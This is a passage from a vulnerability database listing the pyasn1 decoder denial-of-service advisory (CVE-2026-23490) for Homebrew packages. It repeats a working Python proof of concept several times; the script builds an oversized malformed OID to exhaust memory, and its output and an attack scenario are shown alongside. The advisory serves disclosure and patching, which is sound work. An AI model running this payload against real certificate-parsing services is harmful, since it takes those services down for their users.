          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-DSTACK-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:43 – Updated: 2026-10-31 08:45 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "dstack",
            "purl": "pkg:brew/dstack"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.18.13"
                },
                {
                  "fixed": "0.20.3_2"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-dstack-CVE-2026-23490",
      "modified": "2026-10-31T08:45:30Z",
      "published": "2026-08-13T16:43:57Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-DUPLICITY-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:44 – Updated: 2026-10-31 18:52 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
